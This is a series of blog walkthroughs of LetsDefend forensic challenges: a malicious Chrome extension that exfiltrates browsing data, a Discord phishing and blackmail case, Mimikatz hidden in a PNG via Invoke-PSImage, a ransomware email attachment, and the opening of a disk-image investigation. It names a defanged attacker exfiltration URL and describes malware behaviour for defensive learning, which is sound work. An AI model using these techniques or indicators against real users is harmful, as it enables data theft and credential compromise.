This is an incident response challenge which has us defenders investigating a Windows image to determine how the victim’s data was exposed. We’ll need to review artifacts on the system like the Google Chrome cache to determine what happened. Sounds like another fun investigation to me!

So, whether you’re here to learn more about Chrome cache analysis, check out some new tools, or are just looking for a reference walkthrough for the LetsDefend Malicious Chrome Extension, you’ve stumbled on the right blog.

Put on your detective hat and let’s have some fun with forensics! Thanks for reading along!

Challenge Link: https://app.letsdefend.io/challenge/malicious-chrome-extension

Challenge Scenario:

The victim found out their private info was out there for everyone to see, and things got worse — the bad guys got into their money stuff, social media, and personal emails. We got an image of his machine so you can tell us what happened.

Question 1: What is the ID of the malicious extension?

Let’s start out by getting familiar with our analysis environment and looking in our Tools folder. We’ll find that there is only one tool: DB Browser for SQLite.

Since we are looking for a malicious extension, we’re going to leverage DB Browser to analyze the victim’s local web browser cache and focus on Google Chrome. If you aren’t aware, Chrome stores some website and browsing data in a cache folder on the local device it’s installed on.

I’ll point to an excellent cheat sheet from Foxtron Forensics about the locations and data that are located within the Chrome cache:

Google Chrome History Location | Chrome History Viewer _Chrome history is mainly stored within SQLite databases located in the Chrome profile folder. Browser History Examiner…_www.foxtonforensics.com

With that background, let’s open DB Browser. We’ll want to select Open Database and navigate to the victim’s Google Chrome Cache folder within the challenge file.

/root/Desktop/ChallengeFile/Extension/Users/Administrator/AppData/Local/Google/Chrome/User Data

Once we navigate to the above file path, we need to select " # "

All Files" to see the contents of the folder.

We’ll start with the History database which, according to the Foxtron Forensics article contains:

Website Visits

Chrome Website Visits are stored in the €˜History’ SQLite database, within the €˜visits’ table. Associated URL information is stored within the €˜urls’ table.

Now, if we browse through the URLS table, we will find references to several extensions from the Chrome Web Store.

Most of these extensions appear to be simple utilities, but the two extensions referencing Netflix stick out to me, so let’s focus on the Netflix Party app and the Teleparty Premium extensions.

Let’s do some Google research and see if we can find any information about the possibility of malicious activity from these extensions, shall we? It doesn’t take long to stumble upon the following article from Popular Science about malicious, fake Netflix extensions with a link to the original research by McAfee.

Very interesting! According to the McAfee blog, one of the malicious extension’s ID is:

Image Source: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-cookie-stuffing-chrome-extensions-with-1-4-million-users/

I think we found a match on the victim’s device!

Question 2: What is the name of the malicious extension?

This one is a bit trickier to find. Remember in Question 1 that we saw the Chrome Web Store name, Netflix Party, in the History database and in the McAfee research? This isn’t the name of the extension that we are looking for in Question 2, though.

So, let’s navigate to the extension’s local directory and see what else we can find.

/root/Desktop/ChallengeFile/Extension/Users/Administrator/AppData/Local/Google/Chrome/User Data/Default/Extensions/mmnbenehknklpbendgmgngeaignppnbe/3.0.0_0/manifest.json

Inside of the extension directory, go ahead and open the manifest.json file in any plain text editor.

But what is the manifest file, anyway? According to Google:

Every extension must have a _manifest.json_ file in its root directory that lists important information about the structure and behavior of that extension. This page explains the structure of extension manifests and the features they can include.

Unfortunately, the name in the manifest.json is also not what we are looking for this time. Hmmm, let’s think creatively and see what else we have available.

There is also a _locales folder in the extension’s directory with an " # “en"directory for English.

/root/Desktop/ChallengeFile/Extension/Users/Administrator/AppData/Local/Google/Chrome/User Data/Default/Extensions/mmnbenehknklpbendgmgngeaignppnbe/3.0.0_0/_locales/en/messages.json

We’ll get some background on what the messages.json is from Google first:

Each internationalized extension has at least one file named messages.json that provides locale-specific strings.

In other words, this file is used for translation and localization for different languages including locale-specific strings. Maybe there is a helpful string here for us? Let’s open up the messages.json.

Third time’s the charm! Let’s input extension name (extName) message from this file and see if we found the correct answer…

Question 3: How many people were affected by this extension?

Okay, let’s refer to the McAfee article that we used for Question 1. Fortunately, for us the research has the number of affected users listed in the table.

Image Credit: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-cookie-stuffing-chrome-extensions-with-1-4-million-users/

Question 4: What is the attacker’s domain name?

Now that we have reviewed the manifest and messages, let’s see what else is available in the malicious extension’s directory. We can see some JavaScript files, let’s have a look at some of these and try to understand what they are doing and see if we can locate the attacker’s domain.

Based on the McAfee research we have some idea of where to look. The blog states:

The manifest.json sets the background page as bg.html. This HTML file loads b0.js and this is responsible for sending the URL being visited and injecting code into the eCommerce sites.

B0.js

The b0.js script contains many functions. This blog will focus on the functions which are responsible for sending the visited URLs to the server and processing the response.

Let’s turn our attention to b0.js and look more closely for ourselves.

/root/Desktop/ChallengeFile/Extension/Users/Administrator/AppData/Local/Google/Chrome/User Data/Default/Extensions/mmnbenehknklpbendgmgngeaignppnbe/3.0.0_0/b0.js

Since we are looking for a domain name, we’ll try something simple and just use the find function to search for https:// to see if we can find it that way…

Okay, we’ve found something — a variable, e, defined as: hxxps://a1l4m[.]000webhostapp[.]com (defanged for safety, of course!)

This variable is consistent with the details in the McAfee article. While our victim’s version of the extension has a different URL than the McAfee sample, it is located in the same function within the extension. Good find!

Question 5: What is the full URL the attacker uses to exfiltrate the data?

Now that we found the e variable with the domain name value, let’s see if we can find the full URL. The McAfee blog mentions that a victim’s data is exfiltrated with an HTTP POST method to the domain so let’s search b0.js for POST this time:

Right above the POST value, we can see that the URL that data is sent to is the e variable we found in Question 4 _+ " # “_/chrome/TrackingData"Putting this all together, we get:

hxxps://a1l4m[.]000webhostapp[.]com/chrome/TrackingData

Question 6: What is the function name responsible for getting the victim’s location?

To locate the location function, we’ll take the path of least resistance and search for “location"within the code. The first thing we’ll find is the get_location function which can be used to access Geolocation data.

Question 7: What is the variable name that is responsible for storing the zip code of the victim?

Okay we made it to the last question! Just as we did in the previous question, let’s do a simple search within the code; this time we will look for " # “zip.”

We found some evidence of the variable in the code — that’s a great start but let’s refer to the McAfee write-up one more time:

The country, city, and zip are gathered using ip-api.com.

Now that we have validated the JavaScript code on our victim’s machine and confirmed it with the McAfee research, let’s submit the answer and wrap up this investigation!

Conclusion:

Nice job! We successfully navigated the Malicious Chrome Extension by analyzing the victim’s Chrome cache.

We learned through our research that this malicious extension sends the victim’s browsing data to an external, attacker controlled domain — this creates a huge privacy risk! Having identified the source of the attack, it’s time to bring this investigation to a close.

Thank you to LetsDefend for the opportunity to practice our Chrome cache analysis skills! This challenge was a fantastic opportunity to see a practical example of how a malicious extension can compromise a user’s data and privacy. We also got valuable exposure to some tools like DB Browser to strengthen our knowledge of the Google Chrome local cache!

Thank you so much for reading along and working through this investigation with me. I hope that you had as much fun as I did and learned something new, too!

Until next week — stay curious!

Tools & References:

SQLite Browser: https://sqlitebrowser.org/

Foxtron Forensics Google Chrome History Location: https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location

Popular Science — These 5 popular Chrome extensions are compromising your computer: https://www.popsci.com/technology/chrome-extension-installation-malware-netflix-party/

McAfee — Malicious Cookie Stuffing Chrome Extensions with 1.4 Million Users: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-cookie-stuffing-chrome-extensions-with-1-4-million-users/

Chrome Developers Manifest File Format: https://developer.chrome.com/docs/extensions/reference/manifest

Chrome Developers Messages.Json: https://developer.chrome.com/docs/extensions/how-to/ui/localization-message-formats

LetsDefend — Discord Forensics Challenge Walkthrough

Thu, 30 May 2024 00:00:00 +0000

LetsDefend — Discord Forensics Challenge Walkthrough

Endpoint DFIR Investigation using ChromeCacheView

Image Credit: https://app.letsdefend.io/challenge/discord-forensics

Introduction:

Welcome to my weekly walkthrough! Have you ever wondered how an adversary could use social engineering to lure a victim to Discord and then compromise them with malware?

We’re about to investigate how this can happen by working through the Discord Forensics Challenge over on LetsDefend! This is an incident response challenge that has us defenders investigating an infected Windows endpoint. To understand how the attack unfolded, we’ll need to review artifacts on the system like the Discord cache and determine how the malware was delivered.

So, whether you’re here to learn more about Discord cache analysis, check out some new tools, or are just looking for a reference walkthrough for the LetsDefend Discord Forensics Challenge, you’ve stumbled on the right blog.

Now, let’s put on our detective hats and have some fun with forensics! Thanks for reading along!

Challenge Link: https://app.letsdefend.io/challenge/discord-forensics

Challenge Scenario:

Our SIEM alerted that AV blocked malware from running on an employee’s machine. For further investigation, the incident response team quickly acquired an image of that machine. To find out how this malware got on the machine, their task is to find the entry point of the attack and trace the attacker.

Questions 1, 2, & 3:

1. What is the name of the attacker?

2. What application is used for messaging?

3. What is the attacker’s username on the application?

Let’s get comfortable with our virtual analysis environment and extract the challenge file from the Challenge folder.

While the archive is extracting, let’s also check out our Tools folder which will help us get an idea of what utilities we have at our disposal to solve this challenge.

Behold — our toolkit!

We’ve got a couple of interesting utilities but the two mail clients seem out of place. Maybe Email is a good place to start the investigation? We will see if we can discover any email files that we can check through to understand if there was any phishing involved for initial access.

Let’s check the standard Outlook and Thunderbird data file locations to see if any locally saved items are available:

Outlook: C:\Users\LetsDefend\Desktop\ChallengeFile\Discord\Administrator\AppData\Local\Microsoft\Outlook

Thunderbird: C:\Users\LetsDefend\Desktop\ChallengeFile\Discord\Administrator\AppData\Roaming\Thunderbird\Profiles

Unfortunately, there is nothing in either directory. But hope is not lost — what about the built-in Windows Mail client? Maybe the victim was using that application? Let’s check!

C:\Users\LetsDefend\Desktop\ChallengeFile\Discord\Administrator\AppData\Local\Microsoft\Windows Live Mail

The Victim’s Windows Live Mail AppData Folder

There we go! We have several emails to read through. Let’s launch Thunderbird and open the 3 " # "

Job Offer" messages.

The sender’s FROM field name is abdlhameed. We’ll use this information to answer Question 1.

Once we get to the last email in the thread, Job Offer3.eml, we’ll find a couple of new pieces of information in the body of the email that we can use to answer Questions 2 & 3.

From the thread, we can see that the attacker is attempting to move the conversation from email to Discord. If you aren’t familiar, Discord is:

An instant messaging and VoIP social platform which allows communication through voice calls, video calls, text messaging, and media and files.

Pivoting to a legitimate web service is a common defense evasion technique (MITRE ATT&CK T1102). Moving a victim to a service which is outside of the purview of the security team/tools and into attacker-controlled infrastructure can allow for unimpeded next steps in the attack.

Question 4: When did an attacker send the first message to the victim on this application?

Now let’s really dig deep. Since we know that the victim was lured to contact the attacker on Discord to discuss the " # "

job offer," there must be some artifacts in the image that we can analyze.

We’ll start by doing some research on Google to see if we can gather any intelligence about what data Discord stores on a local system. Fortunately, we stumble across a fantastic write up about artifacts stored within the Discord cache folder!

Finding Discord app chats in Windows. _Discord on the desktop In previous posts I discussed some ways of recovering and presenting Discord app chats from…_abrignoni.blogspot.com

According to this researcher, Discord data is structured very similarly to the Google Chrome cache — this means that we can probably leverage ChromeCacheView from our Tools folder to perform further analysis.

Let’s load up ChromeCacheView, press File, then Select Cache Folder. We’ll browse for the folder manually and point to the Discord cache folder within the victim image:

C:\Users\LetsDefend\Desktop\ChallengeFile\Administrator\AppData\Roaming\discord\Cache

The is a lot of data here but we can narrow our search scope a bit. Press View > Use Quick Filter.

Now we will search for " # "

message" and see if we get any results…

Okay, now we’re getting somewhere! We can actually review the content of these JSON files by right clicking the entry, selecting " # “Open selected cache file with…,“and selecting a plain text editor like Notepad.

We’re interested in the contents of the private chat between the attacker and the victim. After reviewing the data within the JSON files, let’s focus first on the one with the file size of 767.

While the data is initially difficult to comprehend, I have highlighted the snippet above with the general format of each message — they seem to start with " # “id"and end with " # “components.“In the excerpt above we can see the initial message on Discord from the attacker to the victim including the timestamp!

Question 5: The attacker has sent a server invitation URL to the victim, what is the full URL?

Let’s continue to analyze the JSON file we retrieved from ChromeCacheView.

In the same private chat that we analyzed in Question 4, the attacker states that they are going to create and invite the victim to a " # “server”— this is Discord shorthand for group chat/community on the platform. Then, the attacker provides a Discord URL where the victim can join the server.

Question 6: How many people were on the Discord server?

Along with the server URL from the previous question, the attacker also states that the server has a " # "

two other employee” in addition to the attacker and victim.

just me and you and two other employee

My math might be terrible otherwise, but I know that 2+2=4.

Question 6: What is the MD5 hash of the attachment file that the victim sent to the attacker?

Let’s go back into ChromeCacheView. This time, we are going to view the JSON file for the server channel instead of the private chat. Let’s open the cache file with the size of 1,392.

After browsing the contents of the chat, we can see the attackers are coercing the victim to prove that he is the right candidate for the " # "

job” by asking for the details of some (presumably) confidential research.

A short time later, we can see that the victim uploads the requested private data to the Discord server in an archive file called Private.7z

It’s pretty likely that the victim uploaded the data from his own device, so why don’t we check the image and simply search for the file name?

There we go, we found it in the user’s Documents folder!

Let’s grab the file hash of the archive. We can utilize the HashCalc utility from the Tools folder or leverage the PowerShell Get-FileHash command_._

For this walkthrough, I used the PowerShell option_._ Since the Get-FileHash command defaults to using SHA256, we’ll need to specify that we want the MD5 hash instead.

Get-FileHash -Algorithm MD5

Okay, now that we have the MD5 hash of the exfiltrated archive, let’s submit the answer and continue our analysis!

Question 7: What is the victim’s country?

Okay this one is a bit tricky to find. None of the Discord chat data that we have discovered appears to have any details regarding geolocation for the victim.

To save you some time, I tried extracting the attachment file in the 7z archive, analyzing the email headers for the communication between the attacker and victim, and going through the Microsoft Edge cache for URLs related to a specific country. All of these came up without any evidence.

Then, I remembered this is a Discord challenge and went back to ChromeCacheView and searched the cache for " # “location” instead of " # “message"like we did for Questions 4,5, & 6

Now, this gives us a misleading result in the metadata. Let’s lean on the question hint to tell us where we went wrong:

Whoops! So, let’s pivot and try to search for " # “country"in our quick filter instead of " # “location”— This will give us more results with a second country code (Not Egypt) in the URLs.

We might have stumbled there, but we figured it out. Great job!

Question 8: What is the URL of the attachment that the attacker sent to the victim?

After the victim ran the malicious file, there seems to be some follow-up chat in Discord where the victim is reaching out to the attacker to no avail.

Let’s go back to his email where we can find another thread with the Subject field " # "

idk” — where the attackers are blackmailing the victim. The attacker is threatening to tell the victim’s employer about the data leak unless they download and execute a file from a link in the email…

Despite the victim initially protesting, it appears that they were afraid of losing their job…

While out of scope for this challenge, we can check the victim’s browser history to see if we have any URL history.

Unfortunately, the evidence suggests that the victim did access the payload sent by the attacker. After that, the SIEM alerted us to the malware being blocked by the victim’s endpoint antivirus software. Whew!

Conclusion:

Great work! We successfully completed the Discord Forensics Challenge.

Our investigation led us to the discovery that the victim was lured to Discord through a phishing email with the promise of a job offer. The victim was then convinced to exfiltrate sensitive research data to the attackers on the Discord server. This was followed by a blackmail attempt, coercing the victim to download and execute a malware payload in exchange for not disclosing the victim’s mistake to their employer. Having identified how the attack unfolded, we can now conclude our investigation.

I appreciate you joining me in this investigation and reading along. I hope that you had as much fun as I did and learned something useful too!

A big thank you to LetsDefend for providing us with the opportunity to sharpen our skills in Discord cache analysis! It was cool to see how we could utilize ChromeCacheView beyond its typical applications and deepen our understanding of the artifacts left behind by Discord that can be analyzed during incident response.

Until next week — stay curious! Thanks!

Tools & References:

NirSoft ChromeCacheView: https://www.nirsoft.net/utils/chrome_cache_view.html

MITRE ATT&CK (Phishing): Phishing, Technique T1566 — Enterprise | MITRE ATT&CK®

Microsoft OST File Location: Introduction to Outlook Data Files (.pst and .ost) — Microsoft Support

Finding Discord app chats in Windows: https://abrignoni.blogspot.com/2018/03/finding-discord-app-chats-in-windows.html

Microsoft Learn Get-FileHash: https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/get-filehash?view=powershell-7.4

LetsDefend — ImageStegano Challenge Walkthrough

Sun, 12 May 2024 00:00:00 +0000

LetsDefend — ImageStegano Challenge Walkthrough

Investigating steganography using ExifTool and psimage_decoder.py

Image Credit: https://app.letsdefend.io/challenge/imagestegano

Introduction:

Welcome to my weekly walkthrough! Have you ever wondered about how malware can be hidden in an image? Well we’re about to explore the world of steganography by tackling the ImageStegano challenge on LetsDefend!

This is a challenge requiring us defenders to investigate an image file and determine if it contains malicious code hidden by using steganography.

Now what is steganography anyway? According to the _SANS In_ternet Storm Center’s Infosec Glossary, steganography is the:

Methods of hiding the existence of a message or other data. This is different than cryptography, which hides the meaning of a message but does not hide the message itself. An example of a steganographic method is " # "

invisible" ink.

So, whether you’re here to learn more about steganography, explore some new tools, or are just looking for a reference walkthrough for the LetsDefend ImageStegano Challenge, you’ve stumbled on the right spot. I encourage you to follow along during your own investigation and use this post as a reference if you get stuck.

Thanks for reading along, let’s have some fun!

Challenge Link: https://app.letsdefend.io/challenge/imagestegano

Challenge Scenario:

We are certain that there is something malicious in this image, but we do not know what it is. So we need you to investigate it and see if you can find any evidence.

Questions 1 & 2:

Who is the " # "

Device Manufacturer" according to the metadata?

What is the CMM Type?

Let’s start off the investigation by connecting to the virtual machine environment hosted on LetsDefend, navigate to the ChallengeFile folder on the Desktop, and extracting the challenge file from the archive.

Inside, we find a seemingly innocuous .png file, but do you notice something strange? The file size is nearly 65MB in size! This is definitely suspicious and requires some further investigation.

Question 1 and 2 are asking about the image metadata, which is data about the image, and not the image itself like color profiles and the capturing device details. To analyze this file’s metadata, we will want to utilize something like ExifTool.

_A_ccording to the project’s website, ExifTool is a:

platform-independent Perl library plus a command-line application for reading, writing and editing meta information in a wide variety of files. ExifTool supports many different metadata formats including EXIF, GPS, IPTC, XMP, JFIF, GeoTIFF, ICC Profile, Photoshop IRB, FlashPix, AFCP and ID3, Lyrics3, as well as the maker notes of many digital cameras by Canon, Casio, DJI, FLIR, FujiFilm, GE, GoPro, HP, JVC/Victor, Kodak, Leaf, Minolta/Konica-Minolta, Motorola, Nikon, Nintendo, Olympus/Epson, Panasonic/Leica, Pentax/Asahi, Phase One, Reconyx, Ricoh, Samsung, Sanyo, Sigma/Foveon and Sony.

In other words, this tool is used to extract metadata from an image file for us to analyze!

Let’s take a closer look at our analysis environment. Unfortunately, our Windows environment does not have this tool installed for us to use. ExifTool is typically installed within Linux distros, however.

Maybe you noticed the orange Ubuntu Linux icon on the taskbar? This means that the analysis VM has Ubuntu installed for use with the _Windows Subsystem for Linux (_WSL) which allows us to use Linux tools in Windows — very cool!

So, we have a couple of options to access E_xifTool_ to analyze the image’s metadata:

) Load into Ubuntu and operate the CLI directly:

Ubuntu Manpage: exiftool — Read and write meta information in files _A command-line interface to Image::ExifTool, used for reading and writing meta information in a variety of file types…_manpages.ubuntu.com

2.) Or we can simply use the wsl command in PowerShell to access the Ubuntu tool within the PowerShell console directly! This will be the option we’ll use for this walkthrough.

We’ll navigate to the directory containing the suspicious .png file, and use the basic syntax to get an overview of the metadata contained within the image:

wsl exiftool Sd6wF1A1v.png

Now that we have used ExifTool to view the metadata we can find the information needed to answer Questions 1 & 2.

Question 3: What is the tool that created the payload inside the image?

This question will require some research since we don’t have any specific way of determining what application created this image from the metadata.

Why don’t we look at the question hint as a jumping-off point:

Question 3 Hint

Okay, let’s do some research and head over to _Google. W_e’ll search something basic like " # “image steganography powershell.“The first result seems very promising. If we click the link we are taken to the GitHub project page for Invoke-PSImage.

According to the project’s README, this tool is used for the following purpose:

Invoke-PSImage takes a PowerShell script and encodes the bytes of the script into the pixels of a PNG image. It generates a oneliner for executing either from a file of from the web.

Based on the number of stars, this project seems well-known, and it creates a payload within a .png image. Let’s submit the answer and see if our research is correct:

Question 4: After decoding the payload, can you find out the function’s name?

Now that we know what tool created the suspicious image, we’ll now need to locate a method to analyze the actual payload hidden within the image.

Since we know the tool which created the malicious image, let’s do some more Google searching to see if there is a tool available to reveal the code.

We’ll stumble across the article below by Mert Sarica at Hack 4 Career.

Malicious Image | Hack 4 Career _When we look at the campaigns carried out by APT groups such as Muddy Water, which also targets institutions in Turkey…_www.mertsarica.com

After reading the article, we discover that this researcher has created a tool, psimage_decoder.py, which:

Reveals Powershell code hidden in image files using Invoke-PSImage

This sounds promising and is exactly what we’re trying to accomplish! Why don’t we test out this tool and see how it works? We’ll follow the link in the article and check out the Python code over on GitHub.

Without internet connectivity, we have limited options to download the tool into the virtual analysis environment so we’ll just copy the raw file contents into the copy/paste box of the virtual machine’s remote options.

Then, we’ll paste the code into the installed Notepad ++ and save it as a Python file called psimage_decoder.py (or whatever name you’d like).

Finally, let’s run the Python script using the provided syntax to point to the malicious .png file…

Yikes! That was a lot of output to the console, let’s redirect this to a txt file instead so that we can more easily analyze the results.

python .\psimage_decoder.py > .txt

Once we open the results file, we will see a function at the very top — Invoke-Mimikatz. If you aren’t familiar with Mimikatz, here is a summary of this software from MITRE ATT&CK:

Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks.

Yikes! That wouldn’t be a good thing for the victim to launch. Now that we’ve discovered evidence of Mimikatz embedded in the .png file using psimage_decoder.py, I think we can confidently call this file malicious. Let’s continue with the investigation.

Question 5: There are two hidden executables in the decoded payload. What is the sha256 hash of the 32-bit version of the executable?

To answer the last question, let’s continue scrolling through the output of the decoded payload. Toward the bottom of the output, we’ll stumble upon this line with a block of code:

We’ve found of the two hidden executables! This is the 64-bit version, let’s keep scrolling until we find the Win32 version:

Locating the Win32 Executable in the psimage_decoder.py output

There we go! Now that we have located the second executable, notice the SHA256 hash and the convenient link to VirusTotal?

While we already have the file hash we are looking for, let’s take a quick look at the VirusTotal report. If we needed to do some additional research on this binary, this would be a solid method to pivot and gather some additional intelligence and confirm our findings — in this case, we can confirm that the file is indeed malicious.

VirusTotal VirusTotalwww.virustotal.com

Let’s submit the answer and wrap up this investigation!

Conclusion:

Whew! Excellent job with the investigation! We made it through the ImageStegano Challenge and successfully revealed Mimikatz hiding within the .png image file! Now that we know what the malicious file is, let’s wrap this up.

Thank you to LetsDefend for providing another fun challenge and the opportunity to learn about steganography. This challenge was really interesting to me, and the lab was valuable to better understand how threat actors are always evolving their tactics and techniques. It was cool to see a practical example of malware embedded in an otherwise innocuous looking file. Having the hands-on practice with these concepts and some of the tools we used like psimage_decoder.py will be excellent additions to the toolkit!

Thank you so much for reading along, too! I hope that you had as much fun as I did and learned something new, too. Until next week — stay curious!

Tools & References:

InfoSec Glossary — SANS Internet Storm Center: https://isc.sans.edu/tools/glossary/

Exiftool: https://exiftool.org/

Microsoft Docs WSL: https://learn.microsoft.com/en-us/windows/wsl/about

Invoke-PSImage (GitHub): https://github.com/peewpw/Invoke-PSImage

psimage_decoder.py (GitHub): https://github.com/mertsarica/hack4career/blob/master/codes/psimage_decoder.py

Malicious Image Research: https://www.mertsarica.com/malicious-image/

MITRE ATT&CK Mimikatz: https://attack.mitre.org/software/S0002/

VirusTotal: https://www.virustotal.com/en/file/be3414602121b6d23fc06edb6bd01ad60b584485266120c242877bbd4f7c8059/analysis/1478821027/

LetsDefend — Email Analysis Challenge Walkthrough

Sun, 31 Mar 2024 00:00:00 +0000

LetsDefend — Email Analysis Challenge Walkthrough

Email Header and Attachment Analysis

Image Credit: https://app.letsdefend.io/challenge/email-analysis

Introduction:

Hello — Thanks for joining me for this weekly walkthrough!

This week I am going to tackle the medium difficulty Email Analysis blue team challenge over on LetsDefend.

This one should be good practice for some manual email header and attachment analysis. While there are many solutions that perform automatic header analysis and sandbox detonation of attachments before delivery, it’s always good to practice your manual analysis skills especially if you don’t have these enterprise tools available to you.

As always, this write up will serve as a learning notebook for me and a LetsDefend challenge walkthrough for anyone else who stumbles upon this post. Thanks for reading along, hope it helps!

Challenge Link: https://app.letsdefend.io/challenge/email-analysis

Challenge Scenario:

You recently received an email from someone trying to impersonate a company, your job is to analyze the email to see if it is suspicious.

Setup the REMnux Analysis Environment & Extract the challenge file:

First thing’s first — It’s always a good idea when downloading lab/challenge files from LetsDefend (or any lab/challenge/range) to keep yourself safe by performing these tasks in a dedicated, isolated virtual machine — we are working with malicious files, after all!

For this challenge I am using REMnux, a Linux distro built for malware analysis so we can leverage the available built-in tools to help us with the analysis.

To keep this write-up focused I’m going to skip a step-by-step setup guide of REMnux. Instead, if you want to set up your own REMnux environment please follow the directions provided by REMnux directly. I opted for the virtual appliance method:

Get the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org

Okay! Now that we have our virtual environment created, updated, isolated, and snapshotted, we can download and extract our challenge file and get started!

Question 1: What is the sending email address?

Okay! We have few ways to approach this challenge. Since the file we are doing analysis on is a .eml file which contains the message header, message body, and attachments, we might simply open it in a plain text editor to view the header information. But, for this challenge, let’s jump into CyberChef to view the file in case we need to perform any other operations later. We can use the online version of the tool or the version installed in REMnux.

Now, we can simply drop the extracted .eml file into the CyberChef input window. Then, in the output window we should have all the information that we need to answer the first five questions!

.eml in, .eml out

For Question 1, we want to look at the From field which contains the sender’s address information. The challenge states that this email is trying to impersonate a company, right? It’s important to note that in real-world analysis this field can be (and often is) spoofed by the bad guys for phishing or impersonation attempts.

For this one, let’s submit the sender’s address as we see it in the From field.

Question 2: What is the email address of the recipient?

We’re going to do the same thing we did for Question 1; except this time, we’ll look at the To field which contains the recipient’s email address.

Question 3: What is the subject line of the email?

This time let’s look at the Subject field which is just the subject line that the sender entered for the email.

Question 4: What date was the Email sent? Date format: MM/DD/YYYY

Yep, you guessed it — we’re going to focus on the Date field this time. This is a required header in the Simple Mail Transfer Protocol (SMTP). The only trick here is the date format is different in the email than it is for the question submission.

Question 5: What is the originating IP?

Now let’s check the Received field. This field will list all mail servers that the message has gone through before delivery including their IP addresses. Since there is only one IP address in our sample, we should have the answer.

While out of scope for this challenge but useful in the real world, we can check threat intel for the sender IP address against a ton of excellent reputation and intelligence services online. Remember that our challenge scenario told us that the suspicious email was trying to impersonate a company — Threat intel can also help us determine if the originating IP address is related to the company it claims to be.

For this example, let’s take a look at just a couple of these services — the Cisco Talos Intelligence Center, and the SuperTool over on MxToolBox.

Cisco Talos IP Address Lookup

MxToolBox Blacklist Check

Using these types of services can help our analysis by adding context and intelligence to indicators we find during our investigations!

Question 6: What country is the ip address from?

Since we have the IP address from Question 5, we’re going to look for geolocation information about the IP address of the sending infrastructure.

There are any number of geolocation services we can use but it’s always a good idea to check a couple of different ones as the location data can vary depending on the method the provider uses to determine the geolocation. In the real world you might see some inaccurate geolocation data in your logs so double verifying is a good practice.

You may have noticed that we already answered this in the previous question but to highlight more tools, we’ll check two more geolocation databases — ipinfo.io & DomainTools WhoIs Lookup

IP Information from ipinfo.io

IP Information from DomainTools WhoIs Lookup

Now that we have checked three different services, we can more accurately answer Question 6!

Question 7: What is the name of the attachment when you unzip it? (with extension)

Alright, now we are going to move on from analysis of the .eml file directly and check out the attachment — this is a separate file linked in the challenge.

For this question, let’s simply unzip the archive file and see what the name of the file contained inside is:

Okay, we have an executable file and misspelling of the brand in the file name — that’s suspicious…

Question 8: What is the sha256 hash of the File?

Now that we have extracted an executable file from the .zip archive we need to grab the file hash. Fortunately, we can do this directly in the terminal! Since we need to get the SHA-256 hash we can use the sha256sum command to get the right output.

Let’s keep this output handy after we submit it so that we can use it for Question 9.

Question 9: Is the email attachment malicious? Yes/No

Okay, we made it to the last question! Let’s see if we can get any hits on this file from VirusTotal to help us determine if this binary is malicious or not. We’ll copy the file hash from Question 8 into the search bar and see what we can discover about this indicator of compromise (IOC):

VirusTotal detection of the file hash.

There we go! We’ve got a high number of detections on VirusTotal, with the threat labeled as Loki Ransomware. This gives us high confidence that the file is indeed malicious without having to perform our own analysis on the executable.

Let’s check our work and wrap this challenge up!

Conclusion:

Let’s walk through and quickly summarize. Our investigation revealed a social engineering attempt with spearphishing attachment (MITRE ATT&CK T1566.001) by impersonating another organization. If we executed the malicious file (MITRE ATT&CK T1024) in the attached .zip archive, we might have been a victim of the Loki Ransomware! This is just the tip of the iceberg, but this is all the information we need to wrap up this challenge.

We set out to determine if the email we received is suspicious and I think we can conclude that is! Great work on the investigation!

Thank you to LetsDefend.io for the challenge. While this was just a brief scenario, it provided us with a practical context to understand how we, as defenders, can quickly do some manual analysis of email headers and attachments to determine if they are malicious or not.

I hope that you had as much fun as I did and learned something new, too. Stay curious!

Tools & References:

REMnux: https://docs.remnux.org/install-distro/get-virtual-appliance

CyberChef: https://gchq.github.io/CyberChef/

Cisco Talos: https://talosintelligence.com/

MX ToolBox Blacklists Check: https://mxtoolbox.com/blacklists.aspx

DomainTools WhoIs: https://whois.domaintools.com/

ipinfo.io: https://ipinfo.io/

VirusTotal: https://www.virustotal.com/

MITRE ATT&CK Techniques:

https://attack.mitre.org/techniques/T1566/001/

https://attack.mitre.org/techniques/T1204/

LetsDefend — PDFURI Challenge Walkthrough

Sun, 24 Mar 2024 00:00:00 +0000

LetsDefend — PDFURI Challenge Walkthrough

Forensic Endpoint Investigation with FTK Imager, DB Browser, PDFStreamDumper, & Registry Explorer

Image Credit: https://app.letsdefend.io/challenge/pdfuri

Introduction:

Hello — Thanks for joining me for this weekly walkthrough!

This week I am going to tackle the medium difficulty PDFURI blue team challenge over on LetsDefend. This challenge uses a hosted virtual machine analysis environment on LetsDefend so that the challenge can be completed in a web browser! The virtual machine also comes with a ton of cool tools pre-installed to help us complete the challenge. It’s a fantastic opportunity to try out some new tools and get creative while analyzing a forensic image of a victim’s hard drive.

As always, this write up will serve as a learning notebook for me and a LetsDefend challenge walkthrough for anyone else who stumbles upon this post. Thanks for reading along, hope it helps!

Challenge Link: https://app.letsdefend.io/challenge/pdfuri

Challenge Scenario:

Our friend " # "

Dee" was looking for a job in Tanta, but it seems she was hacked by one of the malicious websites, so can you examine her hard drive and find some evidence?

Question 1: What is the MD5 hash of the malicious document?

Alright, let’s start this off by launching our Lab Environment and unzipping the challenge file. From the challenge scenario, we know that we are going to be examining the victim’s hard drive, right? So, let’s check out the Tools folder on the Desktop and see what our analysis environment has installed for us to use:

Contents of our Tools folder

It looks like we have FTK Imager available! If you aren’t familiar, FTK imager is a forensic hard disk imaging tool. In this case, we will use it to mount the victim’s disk image (challenge file) so that we can analyze the file system within the forensic image, search for files/folders, and even extract artifacts from the image!

Let’s launch FTK Imager and load the image file by pressing File > Add Evidence Item > Image File > Select the extracted Challenge File (PDFURI.001). Now that we have mounted the image, we can expand the evidence tree and browse the disk artifacts.

Since our scenario says the victim was searching for a job, maybe they downloaded a malicious file during their search? Let’s start simple and browse to the user’s Downloads folder within FTK (PDFURI.001 > NONAME [NTFS] > [root]/Users/Work/Downloads) and see if we can find the malicious document to answer Question 1.

